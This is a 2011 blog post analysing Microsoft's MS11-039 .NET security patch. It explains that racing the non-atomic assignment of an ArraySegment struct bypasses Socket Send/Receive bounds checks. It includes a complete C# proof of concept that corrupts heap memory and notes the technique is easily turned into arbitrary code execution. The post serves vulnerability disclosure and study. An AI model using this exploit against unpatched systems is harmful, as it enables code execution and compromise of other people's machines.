# Thursday, 16 June 2011
« Calendar | Main | How to Run Unpatched CLR Side-by-Side »
MS11-039 Vulnerability Details

Tuesday Microsoft released two .NET security bulletins, one of which MS11-039 I will discuss here.

The patch updated System.dll and diffing the updated assembly with the previous version shows that they've added additional parameter validation to the Socket Send and Receive APIs that take IList<ArraySegment> parameters.

The fix consists of validating the Offset and Count properties of the passed in ArraySegment values. If you read the ArraySegment constructor documentation, you see that it throws an ArgumentException if the offset or count are not in range, but given that ArraySegment is a value type, it is easy to break this "invariant" by taking advantage of the non-atomicity of value assignment.

Here's an example the exploits the bug to create a magical array that allows negative indexing (and arbitrary heap access, trivially adaptable to an exploit to run arbitrary code):

using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Net;
using System.Threading;

class
Program
{
  static byte[] buf1;
  static byte[] buf2;
  static ArraySegment<byte> seg;

  static void Main(string[] args)
  {
    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    server.Listen(1);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    client.Connect(server.LocalEndPoint);
    Socket conn = server.Accept();
    List<ArraySegment<byte>> buffers = new List<ArraySegment<byte>>();
    buffers.Add(seg);

    buf1 = new byte[0];
    buf2 = new byte[1000];

    for (int i = 0; i < buf2.Length; i++)
      buf2[i] = 0xFF;

    Thread mutator = new Thread(Mutator);
    mutator.Start();

    Thread.Sleep(100);

    ArraySegment<byte> grab;
    for (; ; )
    {
      grab = seg;
      if (grab.Array.Length == 0 && grab.Count != 0)
      {
        Console.WriteLine("got it!");
        mutator.Abort();
        break;
      }
    }
    Console.WriteLine(grab.Array.Length);
    Console.WriteLine(grab.Count);

    client.Send(buf2);
    SocketError errorCode;
    buffers[0] = grab;
    conn.Receive(buffers, SocketFlags.None, out errorCode);

    Console.WriteLine(buf2.Length);
    Console.WriteLine(buf2[-100]);
  }

  static void Mutator()
  {
    for (; ; )
    {
      seg = new ArraySegment<byte>(buf1, 0, 0);
      seg = new ArraySegment<byte>(buf2, 0, 1000);
    }
  }
}
Thursday, 16 June 2011 10:35:25 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]